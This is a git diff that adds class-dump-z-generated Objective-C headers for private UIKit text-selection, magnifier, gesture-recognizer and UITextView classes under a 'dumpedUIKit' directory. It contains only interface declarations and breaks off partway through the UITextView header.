+__attribute__((visibility("hidden"))) +@interface UITextInteractionAssistant : NSObject { +@private + UIView* _view; + NSMutableArray* _recognizers; + UILongPressGestureRecognizer* loupeGesture; + int _autoscrollRamp; + float _autoscrollFactor; + CGPoint _autoscrollBasePoint; + CGPoint _autoscrollUntransformedExtentPoint; + CGPoint _loupeGestureEndPoint; + BOOL _inGesture; + BOOL _autoscrolled; + BOOL _isTryingToHighlightLink; + BOOL _wasShowingCommands; +} +@property(retain, nonatomic) UILongPressGestureRecognizer* loupeGesture; +@property(assign, nonatomic) BOOL inGesture; +@property(readonly, assign, nonatomic) UIView* view; +@property(assign, nonatomic) CGPoint autoscrollUntransformedExtentPoint; +@property(assign, nonatomic) BOOL autoscrolled; +@property(readonly, assign, nonatomic) UIFieldEditor* fieldEditor; +@property(readonly, assign, nonatomic) UIScrollView* scrollView; +-(id)initWithView:(id)view; +-(void)dealloc; +-(void)detach; +-(void)attach; +-(BOOL)containerIsTextField; +-(BOOL)containerIsAtom; +-(void)clearGestureRecognizers; +-(BOOL)useGesturesForEditableContent; +-(id)addOneFingerDoubleTapRecognizer:(SEL)recognizer; +-(id)addOneFingerDoubleTapRecognizer; +-(id)addOneFingerTapRecognizer:(SEL)recognizer; +-(id)addOneFingerTapRecognizer; +-(id)addOneFingerTripleTapRecognizer; +-(id)addSelectionTapRecognizer:(SEL)recognizer; +-(id)addSelectionTapRecognizer; +-(id)addTwoFingerSingleTapRecognizer; +-(id)addTapAndAHalfRecognizer; +-(id)addLoupeGestureRecognizer:(BOOL)recognizer; +-(id)addTwoFingerRangedSelectRecognizer; +-(id)addHighlightLinkRecognizer; +-(id)addTapAndHoldOnLinkRecognizer; +-(id)addPhraseBoundaryGestureRecognizer; +-(void)setGestureRecognizers; +-(void)setFirstResponderIfNecessary; +-(void)loupeGesture:(id)gesture; +-(void)confirmMarkedText:(id)text; +-(void)phraseBoundaryGesture:(id)gesture; +-(void)tapAndAHalf:(id)half; +-(void)setSelectionWithPoint:(CGPoint)point; +-(void)doubleTapInUneditable:(id)uneditable; +-(BOOL)shouldHandleGestureAtLocation:(CGPoint)location; +-(void)oneFingerTap:(id)tap; +-(void)oneFingerTapInUneditable:(id)uneditable; +-(void)oneFingerTapSelectsAll:(id)all; +-(void)oneFingerDoubleTap:(id)tap; +-(void)oneFingerTripleTap:(id)tap; +-(void)selectWord; +-(void)selectAll; +-(void)notifyKeyboardSelectionChanged; +-(void)twoFingerSingleTap:(id)tap; +-(void)twoFingerRangedSelectGesture:(id)gesture; +-(CGRect)rectFromContentToContainer:(CGRect)container; +-(CGRect)rectFromContainerToContent:(CGRect)content; +-(CGPoint)pointFromContentToContainer:(CGPoint)container; +-(CGPoint)pointFromContainerToContent:(CGPoint)content; +-(CGPoint)constrainedPoint:(CGPoint)point; +-(void)resignedFirstResponder; +-(void)startAutoscroll:(CGPoint)autoscroll; +-(void)cancelAutoscroll; +-(void)autoscrollWillNotStart; +-(void)updateAutoscroll:(id)autoscroll; +-(BOOL)viewCouldBecomeEditable:(id)editable; +-(void)smallDelayRecognizer:(id)recognizer; +-(void)longDelayRecognizer:(id)recognizer; +-(BOOL)shouldIgnoreLinkGestures; +-(BOOL)isInteractingWithLink; +-(BOOL)tapOnLinkWithGesture:(id)gesture; +-(void)cancelInteractionWithLink; +-(BOOL)longPressGestureCanTransitionToRecognizedState:(id)recognizedState; +-(BOOL)swallowsDoubleTapWithScale:(float)scale atPoint:(CGPoint)point; +-(void)willRotate:(id)rotate; +-(void)didRotate:(id)rotate; +@end + diff --git a/igor/headers/dumpedUIKit/UITextLabel.h b/igor/headers/dumpedUIKit/UITextLabel.h new file mode 100644 index 0000000..879b867 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextLabel.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILabel.h" + + +@interface UITextLabel : UILabel { +} +-(CGSize)ellipsizedTextSize; +-(void)setColor:(id)color; +-(id)color; +-(void)setHighlightedColor:(id)color; +-(id)highlightedColor; +-(void)setCentersHorizontally:(BOOL)horizontally; +-(BOOL)centersHorizontally; +-(void)setWrapsText:(BOOL)text; +-(BOOL)wrapsText; +-(void)setTextAutoresizesToFit:(BOOL)fit; +-(BOOL)textAutoresizesToFit; +-(void)setMinFontSize:(float)size; +-(float)minFontSize; +-(void)setAlignment:(int)alignment; +-(int)alignment; +-(void)setEllipsisStyle:(int)style; +-(int)ellipsisStyle; +-(void)drawRect:(CGRect)rect; +-(void)drawTextInRect:(CGRect)rect; +-(void)drawContentsInRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITextMagnifier.h b/igor/headers/dumpedUIKit/UITextMagnifier.h new file mode 100644 index 0000000..fdbab8a --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextMagnifier.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" +#import "UIKit-Structs.h" + +@class UIView; +@protocol UITextSelectingContainer; + +@protocol UITextMagnifier +@property(readonly, retain, nonatomic) UIView* target; +@property(readonly, assign, nonatomic) CGPoint terminalPoint; +@property(readonly, assign, nonatomic) BOOL terminalPointPlacedCarefully; +@property(assign, nonatomic) CGPoint magnificationPoint; +@property(assign, nonatomic) CGPoint offset; +@property(assign, nonatomic) CGPoint animationPoint; +-(void)beginMagnifyingTarget:(id)target magnificationPoint:(CGPoint)point offset:(CGPoint)offset animated:(BOOL)animated; +-(void)stopMagnifying:(BOOL)magnifying; +-(void)postAutoscrollPoint:(CGPoint)point; +-(void)setAutoscrollDirections:(int)directions; +-(void)autoscrollWillNotStart; +@end + diff --git a/igor/headers/dumpedUIKit/UITextMagnifierCaret.h b/igor/headers/dumpedUIKit/UITextMagnifierCaret.h new file mode 100644 index 0000000..c0b1269 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextMagnifierCaret.h @@ -0,0 +1,54 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UITextMagnifier.h" +#import "UIKit-Structs.h" + +@class UITextMagnifierTimeWeightedPoint; +@protocol UITextSelectingContainer; + +__attribute__((visibility("hidden"))) +@interface UITextMagnifierCaret : UIView { +@private + UIView* _target; + CGPoint _magnificationPoint; + CGPoint _offset; + UITextMagnifierTimeWeightedPoint* _weightedPoint; + float _yOffset; + UIView* _magnifierRenderer; + UIView* _autoscrollRenderer; + int _autoscrollDirections; +} +@property(retain, nonatomic) UIView* target; +@property(assign, nonatomic) CGPoint offset; +@property(assign, nonatomic) float yOffset; +@property(assign, nonatomic) CGPoint animationPoint; +@property(readonly, assign, nonatomic) CGPoint terminalPoint; +@property(readonly, assign, nonatomic) BOOL terminalPointPlacedCarefully; +@property(assign, nonatomic) CGPoint magnificationPoint; ++(id)sharedCaretMagnifier; +-(id)initWithDefaultFrame; +-(void)dealloc; +-(void)postAutoscrollPoint:(CGPoint)point; +-(void)animateToAutoscrollRenderer; +-(void)setToMagnifierRenderer; +-(void)animateToMagnifierRenderer; +-(void)setAutoscrollDirections:(int)directions; +-(void)autoscrollWillNotStart; +-(void)zoomUpAnimation; +-(void)setFrame:(CGRect)frame; +-(void)setNeedsDisplay; +-(void)zoomDownAnimation; +-(void)zoomDownAnimationDidStop:(id)zoomDownAnimation finished:(id)finished; +-(void)remove; +-(void)updateFrameAndOffset; +-(void)detectLostTouches:(id)touches; +-(void)beginMagnifyingTarget:(id)target magnificationPoint:(CGPoint)point offset:(CGPoint)offset animated:(BOOL)animated; +-(void)stopMagnifying:(BOOL)magnifying; +@end + diff --git a/igor/headers/dumpedUIKit/UITextMagnifierCaretRenderer.h b/igor/headers/dumpedUIKit/UITextMagnifierCaretRenderer.h new file mode 100644 index 0000000..f059197 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextMagnifierCaretRenderer.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITextMagnifierRenderer.h" + + +__attribute__((visibility("hidden"))) +@interface UITextMagnifierCaretRenderer : UITextMagnifierRenderer { +} +-(void)drawAutoscroller:(CGRect)autoscroller; +-(void)drawMagnifier:(CGRect)magnifier; +@end + diff --git a/igor/headers/dumpedUIKit/UITextMagnifierRanged.h b/igor/headers/dumpedUIKit/UITextMagnifierRanged.h new file mode 100644 index 0000000..a1ed74b --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextMagnifierRanged.h @@ -0,0 +1,59 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UITextMagnifier.h" +#import "UIKit-Structs.h" + +@class UITextMagnifierTimeWeightedPoint; +@protocol UITextSelectingContainer; + +__attribute__((visibility("hidden"))) +@interface UITextMagnifierRanged : UIView { +@private + UIView* _target; + CGPoint _magnificationPoint; + CGPoint _offset; + CGPoint _animationPoint; + UITextMagnifierTimeWeightedPoint* _weightedPoint; + UIView* _magnifierRenderer; + UIView* _autoscrollRenderer; + int _autoscrollDirections; + BOOL _inPlace; +} +@property(retain, nonatomic) UIView* target; +@property(assign, nonatomic) CGPoint animationPoint; +@property(assign, nonatomic) CGPoint offset; +@property(readonly, assign, nonatomic) CGPoint terminalPoint; +@property(readonly, assign, nonatomic) BOOL terminalPointPlacedCarefully; +@property(assign, nonatomic) CGPoint magnificationPoint; ++(id)sharedRangedMagnifier; +-(id)initWithDefaultFrame; +-(void)dealloc; +-(int)horizontalMovementAtTime:(double)time; +-(BOOL)wasPlacedCarefullyAtTime:(double)time; +-(int)horizontalMovement; +-(void)postAutoscrollPoint:(CGPoint)point; +-(void)animateToAutoscrollRenderer; +-(void)setToMagnifierRenderer; +-(void)animateToMagnifierRenderer; +-(void)setAutoscrollDirections:(int)directions; +-(void)autoscrollWillNotStart; +-(void)setFrame:(CGRect)frame; +-(void)setNeedsDisplay; +-(void)zoomUpAnimation; +-(void)zoomDownAnimation; +-(void)zoomDownAnimationDidStop:(id)zoomDownAnimation finished:(id)finished; +-(void)remove; +-(float)currentOffset; +-(void)updateFrame; +-(void)detectLostTouches:(id)touches; +-(void)beginMagnifyingTarget:(id)target magnificationPoint:(CGPoint)point offset:(CGPoint)offset animated:(BOOL)animated; +-(void)stopMagnifying:(BOOL)magnifying; +-(CGPoint)snappedPoint:(CGPoint)point; +@end + diff --git a/igor/headers/dumpedUIKit/UITextMagnifierRangedRenderer.h b/igor/headers/dumpedUIKit/UITextMagnifierRangedRenderer.h new file mode 100644 index 0000000..cb478ec --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextMagnifierRangedRenderer.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITextMagnifierRenderer.h" + + +__attribute__((visibility("hidden"))) +@interface UITextMagnifierRangedRenderer : UITextMagnifierRenderer { +} +-(void)drawAutoscroller:(CGRect)autoscroller; +-(void)drawMagnifier:(CGRect)magnifier; +@end + diff --git a/igor/headers/dumpedUIKit/UITextMagnifierRenderer.h b/igor/headers/dumpedUIKit/UITextMagnifierRenderer.h new file mode 100644 index 0000000..d9d622a --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextMagnifierRenderer.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UITextMagnifierRenderer : UIView { +@private + int m_autoscrollDirections; +} +@property(assign, nonatomic) int autoscrollDirections; +-(id)initWithFrame:(CGRect)frame; +-(void)drawAutoscroller:(CGRect)autoscroller; +-(void)drawMagnifier:(CGRect)magnifier; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITextMagnifierTimeWeightedPoint.h b/igor/headers/dumpedUIKit/UITextMagnifierTimeWeightedPoint.h new file mode 100644 index 0000000..cf3612c --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextMagnifierTimeWeightedPoint.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + + +__attribute__((visibility("hidden"))) +@interface UITextMagnifierTimeWeightedPoint : NSObject { +@private + int m_index; + struct { + CGPoint point; + double time; + } m_points[16]; +} +@property(readonly, assign, nonatomic) CGPoint weightedPoint; +-(void)clearHistory; +-(void)addPoint:(CGPoint)point; +-(BOOL)historyCovers:(double)covers; +-(float)distanceCoveredInInterval:(double)interval; +-(CGSize)displacementInInterval:(double)interval; +-(CGSize)displacementInInterval:(double)interval priorTo:(double)to; +-(float)distanceCoveredInInterval:(double)interval priorTo:(double)to; +@end + diff --git a/igor/headers/dumpedUIKit/UITextRangeView.h b/igor/headers/dumpedUIKit/UITextRangeView.h new file mode 100644 index 0000000..a587f39 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextRangeView.h @@ -0,0 +1,102 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UITouch, UITextSelectionView, NSArray, UISelectionGrabber, NSMutableArray; +@protocol UITextSelectingContainer; + +__attribute__((visibility("hidden"))) +@interface UITextRangeView : UIView { +@private + UITextSelectionView* m_selectionView; + UIView* m_container; + NSArray* m_rects; + NSMutableArray* m_rectViews; + UITouch* m_activeTouch; + CGRect m_startEdge; + CGRect m_endEdge; + CGPoint m_basePoint; + CGPoint m_extentPoint; + CGPoint m_initialBasePoint; + CGPoint m_initialExtentPoint; + float m_initialDistance; + CGPoint m_touchOffset; + double m_firstMovedTime; + UISelectionGrabber* m_startGrabber; + UISelectionGrabber* m_endGrabber; + BOOL m_animateUpdate; + BOOL m_baseIsStart; + BOOL m_commandsWereShowing; + BOOL m_inGesture; + BOOL m_magnifying; + BOOL m_scrolling; + BOOL m_scaling; + BOOL m_rotating; +} +@property(copy, nonatomic) NSArray* rects; +@property(retain, nonatomic) UITouch* activeTouch; +@property(assign, nonatomic) BOOL baseIsStart; +@property(assign, nonatomic) CGRect startEdge; +@property(assign, nonatomic) CGRect endEdge; +@property(assign, nonatomic) CGPoint basePoint; +@property(assign, nonatomic) CGPoint extentPoint; +@property(assign, nonatomic) CGPoint initialBasePoint; +@property(assign, nonatomic) CGPoint initialExtentPoint; +@property(assign, nonatomic) float initialDistance; +@property(assign, nonatomic) CGPoint touchOffset; +@property(assign, nonatomic) double firstMovedTime; +@property(retain, nonatomic) UISelectionGrabber* startGrabber; +@property(retain, nonatomic) UISelectionGrabber* endGrabber; +@property(assign, nonatomic) BOOL animateUpdate; +@property(assign, nonatomic) BOOL commandsWereShowing; +@property(assign, nonatomic) BOOL magnifying; +@property(assign, nonatomic) BOOL inGesture; +@property(assign, nonatomic) BOOL isScrolling; +@property(assign, nonatomic) BOOL scaling; +@property(assign, nonatomic) BOOL rotating; +@property(readonly, assign, nonatomic) BOOL autoscrolled; +@property(readonly, assign, nonatomic) UIView* container; +@property(readonly, assign, nonatomic) UITextSelectionView* selectionView; +-(id)initWithFrame:(CGRect)frame selectionView:(id)view; +-(id)initWithFrame:(CGRect)frame textContainer:(id)container; +-(void)dealloc; +-(void)removeFromSuperview; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)updateSelectionWithPoint:(CGPoint)point; +-(void)updateSelectionWithContentPoint:(CGPoint)contentPoint; +-(void)updateBaseIsStartWithContentPoint:(CGPoint)contentPoint; +-(void)updateWithMagnifierTerminalPoint:(BOOL)magnifierTerminalPoint; +-(void)selectionAnimationDidStop:(id)selectionAnimation finished:(id)finished; +-(void)setSelectionWithContentBasePoint:(CGPoint)contentBasePoint contentExtentPoint:(CGPoint)point; +-(void)prepareForMagnification; +-(void)doneMagnifying; +-(void)willScroll; +-(void)didScroll; +-(void)scaleWillChange; +-(void)scaleDidChange; +-(void)willRotate; +-(void)didRotate; +-(void)updateDots; +-(void)cancelDelayedActions; +-(BOOL)pointCloserToEnd:(CGPoint)end startEdge:(CGRect)edge endEdge:(CGRect)edge3; +-(void)setTouchOffset:(CGPoint)offset touchPoint:(CGPoint)point; +-(CGPoint)applyTouchOffset:(CGPoint)offset; +-(void)beginMagnifying; +-(void)updateBaseAndExtentPointsFromEdges; +-(void)updateRectViews; +-(void)updateGrabbers; +-(CGPoint)convertExtentPointToMagnifierPoint:(CGPoint)magnifierPoint; +-(CGPoint)convertFromMagnifierPoint:(CGPoint)magnifierPoint; +-(void)setEnclosingScrollViewsEnabled:(BOOL)enabled; +@end + diff --git a/igor/headers/dumpedUIKit/UITextSelectingContainer.h b/igor/headers/dumpedUIKit/UITextSelectingContainer.h new file mode 100644 index 0000000..d2c1a4b --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextSelectingContainer.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" + +@class UIView, UITextInteractionAssistant, UITextSelectionView; +@protocol UITextSelectingContent; + +@protocol UITextSelectingContainer +@property(readonly, assign, nonatomic) UITextSelectionView* selectionView; +@property(readonly, assign, nonatomic) UITextInteractionAssistant* interactionAssistant; +@property(readonly, assign, nonatomic) UIView* content; +@property(readonly, assign, nonatomic, getter=isEditable) BOOL editable; +@property(readonly, assign, nonatomic, getter=isEditing) BOOL editing; +-(void)beginSelectionChange; +-(void)updateSelection; +-(void)endSelectionChange; +-(void)detachSelectionView; +-(void)detachInteractionAssistant; +-(CGRect)selectionClipRect; +@optional +-(BOOL)playsNicelyWithGestures; +-(BOOL)mightHaveLinks; +-(void)tapLinkAtPoint:(CGPoint)point; +-(BOOL)isInteractingWithLink; +-(void)startInteractionWithLinkAtPoint:(CGPoint)point; +-(void)updateInteractionWithLinkAtPoint:(CGPoint)point; +-(void)validateInteractionWithLinkAtPoint:(CGPoint)point; +-(void)cancelInteractionWithLink; +-(void)startLongInteractionWithLinkAtPoint:(CGPoint)point; +-(BOOL)willInteractWithLinkAtPoint:(CGPoint)point; +@end + diff --git a/igor/headers/dumpedUIKit/UITextSelectingContent.h b/igor/headers/dumpedUIKit/UITextSelectingContent.h new file mode 100644 index 0000000..cbb8395 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextSelectingContent.h @@ -0,0 +1,54 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" + + +@protocol UITextSelectingContent +@property(readonly, assign, nonatomic) int selectionState; +@property(assign, nonatomic) int selectionGranularity; +@property(assign, nonatomic) BOOL selectionGranularityIncreasing; +-(BOOL)hasSelection; +-(BOOL)hasEditableSelection; +-(BOOL)hasMarkedText; +-(unsigned)selectionOffsetInMarkedText; +-(id)selectionRects; +-(id)selectionRectsForRange:(id)range; +-(CGRect)caretRect; +-(void)startAutoscroll:(CGPoint)autoscroll; +-(void)cancelAutoscroll; +-(void)scrollSelectionToVisible:(BOOL)visible; +-(void)setSelectionWithPoint:(CGPoint)point; +-(void)setRangedSelectionBaseToCurrentSelection; +-(void)setRangedSelectionBaseToCurrentSelectionStart; +-(void)setRangedSelectionBaseToCurrentSelectionEnd; +-(void)clearRangedSelectionInitialExtent; +-(void)setRangedSelectionInitialExtentToCurrentSelectionStart; +-(void)setRangedSelectionInitialExtentToCurrentSelectionEnd; +-(BOOL)setRangedSelectionExtentPoint:(CGPoint)point baseIsStart:(BOOL)start; +-(void)setSelectionWithFirstPoint:(CGPoint)firstPoint secondPoint:(CGPoint)point; +-(void)setRangedSelectionWithExtentPoint:(CGPoint)extentPoint; +-(void)setSelectionToStart; +-(void)setSelectionToEnd; +-(void)selectAll; +-(void)collapseSelection; +-(void)smartExtendRangedSelection:(int)selection; +-(CGRect)closestCaretRectForPoint:(CGPoint)point inSelection:(BOOL)selection; +-(CGRect)closestCaretRectInMarkedTextRangeForPoint:(CGPoint)point; +-(id)wordAtPoint:(CGPoint)point; +-(void)clearSelection; +-(void)setSelectionToNextGranularity:(CGPoint)nextGranularity; +-(void)moveSelectionToStartOrEndOfCurrentWord; +-(BOOL)pointAtStartOfLine:(CGPoint)line; +-(BOOL)pointAtEndOfLine:(CGPoint)line; +-(int)selectionBaseWritingDirection:(BOOL*)direction; +-(void)toggleBaseWritingDirection; +-(void)setBaseWritingDirection:(int)direction; +-(BOOL)isPoint:(CGPoint)point inRange:(id)range; +-(CGRect)visibleBounds; +@end + diff --git a/igor/headers/dumpedUIKit/UITextSelectionView.h b/igor/headers/dumpedUIKit/UITextSelectionView.h new file mode 100644 index 0000000..597a1ca --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextSelectionView.h @@ -0,0 +1,77 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSTimer, UITextRangeView; +@protocol UITextSelectingContainer; + +__attribute__((visibility("hidden"))) +@interface UITextSelectionView : UIView { +@private + UIView* m_view; + int m_state; + NSTimer* m_caretTimer; + UIView* m_caretView; + UITextRangeView* m_rangeView; + BOOL m_caretBlinks; + BOOL m_caretNeedsColorUpdate; + BOOL m_caretShowingNow; + BOOL m_selectionChanging; + BOOL m_showRangedSelection; + BOOL m_visible; +} +@property(assign, nonatomic) BOOL caretBlinks; +@property(readonly, assign, nonatomic) UIView* caretView; +@property(readonly, assign, nonatomic) int state; +@property(readonly, assign, nonatomic) UIView* view; +@property(assign, nonatomic) BOOL visible; +@property(assign, nonatomic) BOOL showRangedSelection; +@property(readonly, assign, nonatomic) UITextRangeView* rangeView; +@property(readonly, assign, nonatomic) BOOL selectionCommandsShowing; +-(id)initWithView:(id)view; +-(void)dealloc; +-(void)detach; +-(void)activate; +-(void)deactivate; +-(void)selectionWillScroll:(id)selection; +-(void)selectionDidScroll:(id)selection; +-(void)textSelectionViewActivated:(id)activated; +-(void)removeFromSuperview; +-(void)clearRange; +-(void)install; +-(id)convertedSelectionRects; +-(void)updateSelection; +-(void)updateSelectionDots; +-(void)cancelDelayedSelectionCommandRequests; +-(void)showSelectionCommandsAfterDelay:(double)delay; +-(void)showSelectionCommands; +-(void)hideSelectionCommandsAfterDelay:(double)delay; +-(void)hideSelectionCommands; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)clearCaret; +-(void)hideCaret:(int)caret; +-(void)showCaret:(int)caret; +-(void)caretBlinkTimerFired:(id)fired; +-(void)clearCaretBlinkTimer; +-(void)touchCaretBlinkTimer; +-(void)startCaretBlinkIfNeeded; +-(CGRect)selectionBoundingBox; +-(void)prepareForMagnification; +-(void)updateWithMagnifierTerminalPoint:(BOOL)magnifierTerminalPoint; +-(void)doneMagnifying; +-(void)scaleWillChange; +-(void)scaleDidChange; +-(void)willRotate; +-(void)didRotate; +-(void)updateBaseIsStartWithContentPoint:(CGPoint)contentPoint; +-(void)updateSelectionWithContentPoint:(CGPoint)contentPoint; +-(id)scrollView; +-(CGRect)clippedTargetRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITextTapRecognizer.h b/igor/headers/dumpedUIKit/UITextTapRecognizer.h new file mode 100644 index 0000000..5d79b29 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextTapRecognizer.h @@ -0,0 +1,44 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIGestureRecognizer.h" + +@class NSMutableSet, NSArray, NSMutableArray; + +@interface UITextTapRecognizer : UIGestureRecognizer { + int _numberOfFingers; + int _numberOfTaps; + NSMutableSet* _activeTouches; + BOOL _noNewTouches; + int _currentNumberOfFingers; + int _currentNumberOfTaps; + int _timerOn; + CGPoint _location; + CGPoint _startPoint; + float _allowableMovement; + NSMutableArray* _touches; +} +@property(readonly, assign, nonatomic) CGPoint location; +@property(assign, nonatomic) int numberOfTaps; +@property(assign, nonatomic) int numberOfFingers; +@property(readonly, assign, nonatomic) NSArray* touches; +@property(assign, nonatomic) float allowableMovement; +@property(readonly, assign, nonatomic) CGPoint centroid; +-(id)initWithTarget:(id)target action:(SEL)action; +-(void)dealloc; +-(void)reset; +-(void)clearTapTimer; +-(void)startTapTimer:(double)timer; +-(void)tooSlow:(id)slow; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)_shouldSaveGestureFromExclusion:(id)exclusion; +@end + diff --git a/igor/headers/dumpedUIKit/UITextView.h b/igor/headers/dumpedUIKit/UITextView.h new file mode 100644 index 0000000..7fba423 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextView.h @@ -0,0 +1,184 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextInputTraits.h" +#import "UIKit-Structs.h" +#import "UITextView.h" +#import "UIScrollView.h" + +@class UITextInteractionAssistant, UITextSelectionView, UIColor, DOMHTMLElement, NSString, UITouch, UIDelayedAction, UIWebDocumentView, WebFrame, UIFont; +@protocol UITextViewDelegate; + +@interface UITextView : UIScrollView { +@private + WebFrame* m_frame; + DOMHTMLElement* m_body; + int m_marginTop; + UIDelayedAction* m_selectionTimer; + UIDelayedAction* m_longPressAction; + CGPoint m_touchPoint; + CGPoint m_touchOffset; + UITouch* m_syntheticTouch; + BOOL m_editable; + BOOL m_editing; + BOOL m_becomesEditableWithGestures; + BOOL m_selecting; + BOOL m_handlingMouse; + BOOL m_sentMouseDown; + BOOL m_passMouseDownToOther; + BOOL m_scrollOnMouseUp; + BOOL m_reentrancyGuard; + UITextInteractionAssistant* m_interactionAssistant; + UITextSelectionView* m_selectionView; + UIWebDocumentView* m_webView; + UIFont* m_font; + UIColor* m_textColor; + int m_textAlignment; +} +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int keyboardAppearance; +@property(assign, nonatomic) int returnKeyType; +@property(assign, nonatomic) BOOL enablesReturnKeyAutomatically; +@property(assign, nonatomic, getter=isSecureTextEntry) BOOL secureTextEntry; +@property(assign, nonatomic, getter=isEditing) BOOL editing; +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) unsigned dataDetectorTypes; +@property(assign, nonatomic, getter=isEditable) BOOL editable; +@property(assign, nonatomic) NSRange selectedRange; +@property(assign, nonatomic) int textAlignment; +@property(retain, nonatomic) UIColor* textColor; +@property(retain, nonatomic) UIFont* font; +@property(copy, nonatomic) NSString* text; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithFrame:(CGRect)frame webView:(id)view; +-(id)initWithFrame:(CGRect)frame font:(id)font; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)commonInitWithWebDocumentView:(id)webDocumentView isDecoding:(BOOL)decoding; +-(void)dealloc; +-(void)removeFromSuperview; +-(void)detachSelectionView; +-(void)detachInteractionAssistant; +-(void)registerForEditingDelegateNotification:(id)editingDelegateNotification selector:(SEL)selector; +-(void)delayedUpdateForKeyboardDidShow; +-(void)keyboardDidShow:(id)keyboard; +-(BOOL)_alwaysHandleScrollerMouseEvent; +-(CGSize)tileSizeForSize:(CGSize)size; +-(id)styleString; +-(void)recalculateStyle; +-(void)didMoveToSuperview; +-(void)updateWebViewObjects; +-(BOOL)becomeFirstResponder; +-(BOOL)resignFirstResponder; +-(BOOL)canBecomeFirstResponder; +-(BOOL)canResignFirstResponder; +-(BOOL)isFirstResponder; +-(void)ensureSelection; +-(CGPoint)constrainedPoint:(CGPoint)point; +-(void)textLoupeTimerAction; +-(CGImageRef)createSnapshotWithRect:(CGRect)rect; 